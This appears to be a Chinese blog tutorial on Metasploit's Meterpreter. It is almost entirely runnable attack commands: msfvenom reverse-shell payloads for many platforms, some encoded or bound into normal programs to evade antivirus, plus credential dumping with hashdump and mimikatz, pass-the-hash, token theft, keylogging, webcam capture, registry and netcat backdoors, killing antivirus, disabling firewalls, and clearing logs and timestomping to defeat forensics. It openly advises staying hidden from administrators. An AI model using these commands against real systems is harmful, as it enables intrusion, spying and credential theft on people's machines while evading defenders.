Meterpreter命令详解

0x01初识Meterpreter

1.1.什么是Meterpreter
   Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

  最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。

  需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况

1.2.Meterpreter技术优势

  Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。


0x02 Meterpreter中常用反弹类型

1、 reverse_tcp:
这是一个基于TCP的反向链接反弹shell, 使用起来很稳定

msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12581  -f exe -o hacker.exe

在这里插入图片描述
2、reverse_http:
基于http方式的反向连接,在网速慢的情况下不稳定。

payload:/windows/meterpreter/reverse_http

3、reverse_https
基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试

payload:/windows/meterpreter/reverse_https

4.bind_tcp
这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

payload:/windows/meterpreter/bind_tcp

在这里插入图片描述
这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。
在这里插入图片描述


0x03 相关Payload

Payload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Metasploit中的Payload模块主要有以下三种类型:

  1. Single:Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到
  2. Stager:这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。
  3. Stage:是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型:
Single Payload的格式为:<target>/ <single>
Stager/Stage Payload的格式为:<target>/ <stage> / <stager>
当我们在Metasploit中执行“show payloads”命令之后,它会给我们显示一个可使用的Payload列表


0x04 Meterpreter的常用命令

1、基本命令:

  1. ?/help # 查看Meterpreter帮助
    在这里插入图片描述
  2. bg/background #返回,把meterpreter后台挂起
    在这里插入图片描述
  3. bgkill # 杀死一个背景 meterpreter 脚本
  4. bglist #提供所有正在运行的后台脚本的列表
  5. bgrun #作为一个后台线程运行脚本
  6. channel #显示活动频道
    在这里插入图片描述
  7. sessions -i number # 与会话进行交互
  8. close # 关闭通道
  9. exit/quit # 终止 meterpreter 会话
  10. guid # 获取会话guid
    在这里插入图片描述
  11. info # 显示有关Post模块的信息
  12. interact id #切换进一个信道
  13. run/exploit #执行一个已有的模块
  14. irb # 进入 Ruby 脚本模式
  15. machine_id # 获取连接到会话的计算机的MSF id
    在这里插入图片描述
  16. read # 从通道读取数据
  17. write # 将数据写入到一个通道
  18. read # 从通道读取数据
  19. run和bgrun # 前台和后台执行以后它选定的 meterpreter 脚本
  20. use # 加载 meterpreter 的扩展
  21. load/use #加载模块
  22. Resource #执行一个已有的rc脚本
  23. migrate # 将服务器迁移到另一个进程
  24. pivot # 管理数据透视侦听器
  25. set_timeouts # 设置当前会话超时值
  26. sleep # 强制MeterMeter保持安静,然后重新建立会话。
  27. uuid # 获取当前会话的uuid
    在这里插入图片描述

2、文件系统命令

  1. cat # 查看文件内容,文件必须存在
    20.

  2. cd # 更改目录
    在这里插入图片描述

  3. checksum # 检索文件的校验和

  4. cp # 复制源到目标

  5. dir/ls # 目录列表文件(ls的别名)

  6. download # 下载文件或目录
    在这里插入图片描述

  7. upload # 上载文件或目录
    在这里插入图片描述

  8. edit # 编辑文件
    在这里插入图片描述

  9. getlwd # 打开本地工作目录
    在这里插入图片描述

  10. getwd # 打开工作目录
    在这里插入图片描述

  11. lcd # 更改本地工作目录

  12. lls # 列出本地文件

  13. lpwd # 打印本地工作目录

  14. mkdir # 生成目录

  15. mv # 将源移动到目标/修改目标主机上的文件名

  16. pwd # 打印工作目录

  17. rm # 删除指定的文件

  18. rmdir # 删除目录

  19. search # 搜索文件

  20. show_mount # 显示装载列表所有装载点/逻辑驱动器

  21. enumdesktops # 用户登录数

3、系统命令

  1. clearev # 清除事件日志
    在这里插入图片描述

  2. drop_token # 放弃任何活动的模拟令牌

  3. execute # 执行命令
    53.
    目标主机上立马弹出来一个记事本程序
    在这里插入图片描述
    这样太明显,如果希望隐藏后台执行,加参数-H

  4. getenv # 获取一个或多个环境变量值

  5. getpid # 获取当前进程标识符

  6. getprivs # 尝试启用当前进程可用的所有特权

  7. getsid # 获取作为服务器运行的用户的SID

  8. getuid # 获取运行服务器的用户
    在这里插入图片描述

  9. kill # 终止进程

  10. localtime # 显示目标系统的本地日期和时间

  11. pgrep # 按名称筛选进程

  12. pkill # 按名称终止进程

  13. ps # 列出正在运行的进程

  14. reboot # 重新启动重新启动远程计算机

  15. reg # 修改远程注册表并与之交互

  16. rev2self # 在远程计算机上调用revertoself()

  17. shell # 获得系统命令shell

  18. shutdown # 关闭远程计算机

  19. steal_token # 尝试从目标进程偷取模拟令牌

  20. suspend # 挂起或恢复进程列表

  21. sysinfo # 获取有关远程系统的信息
    在这里插入图片描述

4、网络命令

  1. arp # 显示主机arp缓存
    在这里插入图片描述
  2. getproxy # 显示当前代理配置
    在这里插入图片描述
  3. ipconfig/ifconfig #显示网络接口的关键信息,包括 IP 地址
    在这里插入图片描述
  4. netstat # 显示网络连接
    在这里插入图片描述
  5. portfwd # 端口转发本地端口到远程服务
  6. resolve # 解析目标上的一组主机名
  7. route # 路由视图(可以添加路由,下一跳为当前拿下主机的sessionid,即所有对其他网段的攻击流量都通过已渗透的这台姆堡主机的meterpreter会话来传递,最后就可以通过这条路由,以当前拿下的主句meterpreter作为路由跳板攻击其他网段中另一台又ms08-067漏洞主机,获得反弹shell)
    在这里插入图片描述

5、用户界面命令

  1. enumdesktops # 列出所有可访问的桌面和窗口站
  2. getdesktop # 获取当前的MeterMeter桌面
  3. idletime # 显示目标机器截止到当前无操作命令的时间。图中的显示意思为目标主机有操作是在9分31秒之前。
    在这里插入图片描述
  4. keyboard_send # 发送击键

在这里插入图片描述
目标服务器就输入了发送的击键
在这里插入图片描述

  1. keyscan_start # 开启键盘监听功能
  2. keyscan_dump # 显示捕捉到的键盘记录信息
  3. keyscan_stop # 停止键盘记录功能
    在这里插入图片描述
  4. mouse # 鼠标发送鼠标事件
  5. uictl enable keyboard/mouse #接管目标主机的键盘和鼠标。
  6. screenshot # 截取交互式桌面的截图
    在这里插入图片描述
  7. screenshare # 实时监视远程用户的桌面
  8. setdesktop # Change the meterpreters current desktop
  9. uictl # 控制一些用户界面组件

6、网络摄像头命令

  1. record_mic # 从默认麦克风录制音频X秒
  2. webcam_chat # 开始视频会话
  3. webcam_list # 列出网络摄像头
  4. webcam_snap # 从指定的网络摄像头拍摄快照
  5. webcam_stream # 从指定的网络摄像头播放视频流

7、mimikatz

  1. meterpreter > load mimikatz # 加载mimikatz
  2. meterpreter > msv # 获取hash值
  3. meterpreter > kerberos # 获取明文
    在这里插入图片描述
  4. meterpreter >ssp # 获取明文信息
  5. meterpreter > wdigest # 获取系统账户信息
    在这里插入图片描述
  6. meterpreter >mimikatz_command -f a:: # 必须要以错误的模块来让正确的模块显示
  7. meterpreter >mimikatz_command -f hash:: # 获取目标 hash
  8. meterpreter > mimikatz_command -f samdump::hashes
  9. meterpreter > mimikatz_command -f sekurlsa::searchPasswords

8、网络嗅探

  1. use sniffer # 加载嗅探模
  2. sniffer_interfaces # 获取网卡的信息
  3. sniffer_start ID # 获取正在实施嗅探网络接口的统计数据
  4. sniffer_stop ID # 停止嗅探
  5. sniffer_dump ID filepath # 保存抓取的数据包
  6. 对抓取的包进行解包:
    use auxiliary/sniffer/psnuffle
    set pcapfile 1.cap
    run

9、获取敏感信息

  1. run post/windows/gather/checkvm # 是否虚拟机.
    在这里插入图片描述
  2. run post/windows/gather/enum_applications # 获取安装软件信息
    在这里插入图片描述
  3. run post/windows/gather/dumplinks # 获取最近的文件操作
    在这里插入图片描述
  4. run post/windows/gather/enum_ie # 获取IE缓存
    在这里插入图片描述
  5. run post/windows/gather/enum_chrome # 获取Chrome缓存
    在这里插入图片描述
  6. run scraper # 获取常见信息

10 、获取Hash

使用“hashdump”命令可以从系统提取用户名和密码hashes。使用hashdump命令可以获取目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码,微软一般用LM,NTML和NTLMv2形式的哈希表存储密码。若想运行这个命令, 需要有注册表和SAM [Security Account Manager]的系统的权限,如果你是作为一个普通的用户登陆的话,你需要提升权限,这我们将在后面提到。

run post/windows/gather/smart_hashdump

在这里插入图片描述数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::

use post/windows/gather/hashdump
set session 2
run

在这里插入图片描述

  1. 检查已有权限+系统类型
  2. 检查是否为域控制器
  3. 从注册表读hash,若失败,注入LSASS进程;若域控制器,直接注入LSASS进程
  4. 若win2008+会话管理员权限,尝试使用getsystem,若在system不能注入LSASS,先migrate到system权限下的进程,继续注入LSASS
  5. 若win7/Vista+UAC关闭+会话管理员权限,尝试getsystem,读取hash
  6. 若win2003/xp/2000,直接getsystem,读取hash

11.通过Hash获取权限

use exploit/windows/smb/psexec
set RHOST 192.168.1.104
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:b31d50d887e8f5b9fde7a7d95013da1a  
run

在这里插入图片描述

12.得到远程桌面

使用命令“run vnc”将会弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控。
在这里插入图片描述
在这里插入图片描述

13.权限提升

这是meterpreter中实施漏洞利用系统特权要求的一个重要的模块。为了这个目的,我们必须用PRIV extention.,在旧版本的Metasploit中Priv extension并不自动装载,使用“use priv”手动加载的。然而在后来的msf版本中并不需要担心这一点。
使用“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为232的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了system权限了。

  1. ps # 列出正在运行进程。
    在这里插入图片描述
  2. migrate pid # 将Meterpreter会话移植到进程数为pid的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到svchost.exe是一个好方法
  3. getprivs # 尽可能获取尽可能多的特权
  4. getuid # 获得当前的权限
  5. getsystem # 通过各种攻击向量将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户
  6. getsystem -h
    在这里插入图片描述
  7. 使用MS14-058之类的Exp进行提权
use exploit/windows/local/ms14_058_track_popup_menu
set SESSION 3
run

14.盗取令牌

  1. use incognito # 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
  2. list_tokens -u # 列出目标主机用户的可用令牌
  3. list_tokens -g # 列出目标主机用户组的可用令牌
  4. impersonate_token DOMAIN_NAME\USERNAME # 假冒目标主机上的可用令牌
  5. execute -f cmd.exe -i -t # 调用域权限shell
  6. add_user 0xfa funny –h 192.168.1.104 #在域控主机上添加账户
  7. reg command # 在目标主机注册表中进行交互,创建,删除,查询等操作
  8. setdesktop number #切换到另一个用户界面(该功能基于哪些用户已登录)
  9. ps #查看目标机器进程,找出域控账户运行的进程ID
  10. steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒
  11. drop_token pid #停止假冒当前令牌
    在这里插入图片描述

15.清除事件日志

完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令“clearev”命令来清除事件日志
在这里插入图片描述
Win+R输入eventvwr.msc打开事件查看器,里面的应用程序、安全性、系统都是空的:
在这里插入图片描述

17.一些脚本命令

为获取远程机器上的信息,在meterpreter中还有很多脚本可用,做更大的渗透测试。使用“runscriptname”来使用meterpreter模块中的脚本命令

  1. run post/windows/gather/checkvm:后渗透模块,确定目标主机是否是一台虚拟机
    在这里插入图片描述
  2. run packetrecorder -i 1:查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。
  3. run get_local_subnets:得到本地子网网段
    在这里插入图片描述
  4. run getcountermeasure:显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略
    在这里插入图片描述
  5. run scraper:从目标主机获得所有网络共享等信息,并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。使用ls命令查看存储的这些文件。
    在这里插入图片描述
    在这里插入图片描述
  6. run killav:命令终止Av进程,可以很快的清除我们的路径和有效渗透测试的记录,但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是一个严重的打击,对他造成很大的困扰
    在这里插入图片描述
  7. run hashdump:获得密码哈希值,运行这个脚本和在meterpreter下直接运行hashdump结果差不多。
  8. run keylogrecorder:命令为记录键盘信息,运行这个脚本和在meterpreter下直接运行keyscan结果差不多,这里将对键盘记录的文件进行保存,路径如下。
    在这里插入图片描述
  9. run persistence:这个脚本可以被用作持续欺骗主机
run  persistence -X -i  5  -p 12581 -r 192.168.1.107   #植入后门

在这里插入图片描述
执行过程:
创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。
下图,在攻击主机上监听12581端口,等待反弹会话成功
在这里插入图片描述
下图,看目标主机注册表Run键值果然被写入了一个PplUOJWzOoTqiKa的键值,执行后门vbs脚本 在这里插入图片描述

  1. enum_drives:在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息。
use post/windows/gather/forensics/enum_drives
set SESSION 6
run

在这里插入图片描述
或直接在meterpreter会话中以命令run post/windows/gather/forensics/enum_drives调用
在这里插入图片描述

18.SOCKS代理

Metasploit可以作为一个SOCKS代理服务器,具体步骤为首先通过Metasploit的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行“route add +IP+mask+SID”然后使用“use auxiliary/server/socks4a”命令来使用sock4a模块,执行run命令 ,socks便会执行,然后再在命令行下执行proxychains命令,使用代理对目标主机进行扫描,nmap,nc等都可以。

19.运行程序

execute:在目标系统中执行应用程序。这个命令的使用方法如下:

execute -f<file> [Options]

运行后它将执行file参数所指定的文件。可选参数如下:

-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程
-f 执行的程序文件
-d 在目标主机执行时显示的进程名称(用以伪装)
-o wce.txt"是wce.exe的运行参数

20.创建账号

  1. run getgui -e 开启目标主机远程桌面
    在这里插入图片描述
  2. run getgui -u test -p test 创建新账户,虽然有报错但是账户已经创建完成:
    在这里插入图片描述
    在这里插入图片描述
  3. rdesktop 192.168.1.104 添加完账户使用redesktop命令连接一下远程主机。
    在这里插入图片描述
    输入账户名密码登录,对目标机器直接进行控制:
    在这里插入图片描述

21.启用远程桌面

当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启):

在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长,这样可以降低你被发现的概率

可以用 run post/windows/manage/enable_rdp 或者 run getgui -e 来开启远程桌面

22.绑定进程

Meterpreter既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

使用“getpid”找出需要绑定的进程,接下来,使用migrate命令+pid来绑定进程(需要先关闭防火墙)。
在这里插入图片描述

23.通过其 shell 来关闭防火墙

NetSh Advfirewall set allprofiles state off(区分大小写)
在这里插入图片描述
目标防火墙已关闭:
在这里插入图片描述
但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。

netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL
在这里插入图片描述
伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可!

24.利用注册表添加 NC 后门

  1. 上传 NC 到目标系统:
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

在这里插入图片描述

  1. 枚举注册表内容(开机启动)
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

在这里插入图片描述

  1. 在该注册表增加内容(开机启动)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"

在这里插入图片描述

  1. 查看内容是否增加成功:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc

在这里插入图片描述

25.基于MACE时间的反电子取证

  1. timestomp -v test.txt #查看当前目标文件 MACE 时间。
    在这里插入图片描述

  2. timestomp c:/test.txt -c “10/27/2015 14:22:11” #修改文件的创建时间,例如修改文件的创建时间(反取证调查)
    在这里插入图片描述

  3. timestomp -f c:\AVScanner.ini test.txt (将模板文件MACE时间,复制给当前文件)
    在这里插入图片描述

26.内网代理

meterpreter > run autoroute -s 192.168.1.0/24
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.1.104/24
msf auxiliary(tcp) > set THERADS 10
msf auxiliary(tcp) > exploit
meterpreter > background
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > route print
msf auxiliary(socks4a) > ifconfig
msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx #xxx.xxx.xx.xx为自己运行msf的vps机子'
msf auxiliary(socks4a) > exploit

27.SSH代理

msf > load meta_ssh
msf > use multi/ssh/login_password
msf > set RHOST 192.168.1.104
msf > set USER test
msf > set PASS reverse
msf > set PAYLOAD ssh/metassh_session
msf > exploit -z

msf > route add 192.168.57.0 255.255.255.0 1

之后就是愉快的内网扫描了
当然还是推荐直接用

ssh -f -N -D 127.0.0.1:6666 test@103.224.81.1.1

28.内网扫描

meterpreter > run autoroute -s 192.168.3.98
meterpreter > background
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.1.1/24

在这里插入图片描述
在这里插入图片描述

29 常用的破解模块

auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous

30.一些好用的模块

auxiliary/admin/realvnc_41_bypass  (Bypass VNCV4网上也有利用工具)
auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版洞略老)
auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:))
auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:)
auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令没回显:()
auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友)
auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:)
auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行)
auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)
auxiliary/scanner/rsync/modules_list  (Rsync)
auxiliary/scanner/misc/redis_server  (Redis)
auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血)
auxiliary/scanner/mongodb/mongodb_login (Mongodb)
auxiliary/scanner/elasticsearch/indices_enum (elasticsearch)
auxiliary/scanner/http/axis_local_file_include (axis本地文件包含)
auxiliary/scanner/http/http_put (http Put)
auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户)
auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户)
auxiliary/scanner/http/svn_scanner (svn Hunter :))
auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)
auxiliary/scanner/http/zabbix_login (Zabbix :)

0x05 常见脚本

在获得meterpreter的session后,除了meterpreter本身内置的一些基本功能,在/usr/share/metasploit-framework/scripts/meterpreter下面还有很多scripts,提供了很多额外功能,非常好用,run 脚本名 -h可以查看帮助

  1. arp_scanner 利用arp进行存活主机扫描
run  arp_scanner-r  192.168.1.0/24

在这里插入图片描述

  1. autoroute 可以添加,删除,显示路由表
run autoroute  -s

在这里插入图片描述

  1. checkvm 可以检测目标是否是虚拟机
run checkvm

在这里插入图片描述

  1. credcollect 收集目标主机上的hash等凭证
run credcollect

在这里插入图片描述

  1. domain_list_gen 获取域管理账户列表,并判断当前session所在用户是否在列表中
run domain_list_gen
  1. dumplinks Link文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和office目录中收集lnk文件
run dumplinks Link

调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息

run  post/windows/gather/dumplinks
  1. duplicate 再次产生payload,注入到其他进程或打开新进程并注入其中
run  duplicate -e C:/notepad.exe -p 1.1.1.1 -r 1234
  1. enum_chrome 获取chrome中的信息
run post/windows/gather/enum_chrome
  1. enum_firefox 获取firefox中的信息,包括cooikie,历史纪录,书签等
run post/windows/gather/enum_firefox
  1. enum_logged_on_users 列出当前登录的用户
run enum_logged_on_users
  1. enum_powershell_env 列出powershell和WSH的配置文件
run enum_powershell_envrs
  1. enum_putty 列出putty的配置文件
run enum_putty
  1. enum_shares 列出共享及历史共享
  2. enum_vmware 列出vmware的配置文件和产品
  3. event_manager 可以查询和清理事件日志
  4. file_collector 搜索符合指定模式的文件
  5. get_application_list 获取安装的程序列表及版本
  6. getcountermeasure 列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略
    Ps:-k参数可以杀掉防护软件进程
  7. get_env获取所有用户的环境变量
  8. get_filezilla_creds 获取filezilla的登陆凭证
  9. getgui 可以很方便的开启远程桌面服务,添加用户,端口转发功能
  10. get_local_subnets 获得本地的子网
  11. get_pidgin_creds 获取pidgin配置文件中的用户名和密码
  12. gettelnet 同之前开启终端桌面服务的脚本,这个是用来开启telnet的
  13. get_valid_community 获取SNMP community字符串
  14. getvncpw 获取vnc密码
  15. hashdump 同meterpreter的内置功能
  16. hostsedit 操作hosts文件
  17. keylogrecorder Meterpreter内置此功能
  18. killav 关闭防护软件
  19. metsvc 将payload安装为服务
  20. migrate 将meterpreter会话移植到另一个进程
  21. persistence 可建立一个持久性的后门,设置成开机启动
  22. service_permissions_escalate 许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务, 然后会搜索已存在d服务,找到不安全的文件或配置有问题的文件,用一个payload替换掉他,然后会尝试重启服务来运行这个paylaod,如果重启服务失败,则在下次服务器重启时会执行payload
    35.vnc 可以看到远程桌面
  23. win32-sshserver 安装openssh服务
  24. winenum 会自动运行多种命令,将命令结果保存到本地

0x06 msfvenom命令参数

metasploit-framework旗下的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已经被整合成msfvenom。可以利用msfvenom生成木马程序,并且目标机上执行,在本地做监听

1. msfvenom命令行选项

在kali的命令行中输入msfvenom -h就会显示其用法:

-p, --payload<payload>       指定需要使用的payload(攻击荷载)
-l, --list[module_type]   列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled<length>        为payload预先指定一个NOP滑动长度
-f, --format<format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder[encoder]       指定需要使用的encoder(编码器)
-a, --arch<architecture>  指定payload的目标架构
    --platform   <platform>      指定payload的目标平台
-s, --space<length>        设定有效攻击荷载的最大长度
-b, --bad-chars<list>          设定规避字符集,比如: &#039;\x00\xff&#039;
-i, --iterations <count>         指定payload的编码次数
-c, --add-code<path>          指定一个附加的win32 shellcode文件
-x, --template<path>          指定一个自定义的可执行文件作为模板
-k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
	--payload-options            列举payload的标准选项
-o, --out<path>               保存payload
-v, --var-name <name>            指定一个自定义的变量,以确定输出格式
    --shellest                   最小化生成payload
-h, --help                       查看帮助选项
	--help-formats               查看msf支持的输出格式列表

2. 生成payload

  1. 生成不经过编码的普通payload(不编码->生成内容固定->直接被杀)
#格式
msfvenom -p <payload> <payload options> -f <format> -o <path>
#实例
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –f exe –o shell.exe
  1. 经过编码器处理后生成payload
#格式
msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path>
#实例
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –i 3 –e x86/shikata_ga_nai –f exe –o shell.exe
  1. 捆绑到正常文件后生成payload
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –platform windows –a x86 –x calc.exe –k –f exe –o shell.exe

3.常用payload

  1. 命令格式:
msfvenom -p <payload> <payload options> -f <format> -o <path>
  1. Linux:
# 反向连接
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
# 正向连接
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
  1. Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
  1. Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
  1. PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
  1. ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
  1. JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
  1. WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa
  1. Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
  1. Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
  1. Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
  1. Linux Based Shellcode:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
  1. Windows Based Shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
  1. Mac Based Shellcode:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
  1. Handlers:

0x07获取meterpreter

root @ kali:〜#msfconsole
msf>use  exploit/multi /handler
msf exploit(handler)> set  PAYLOAD windows/meterpreter/reverse_tcp
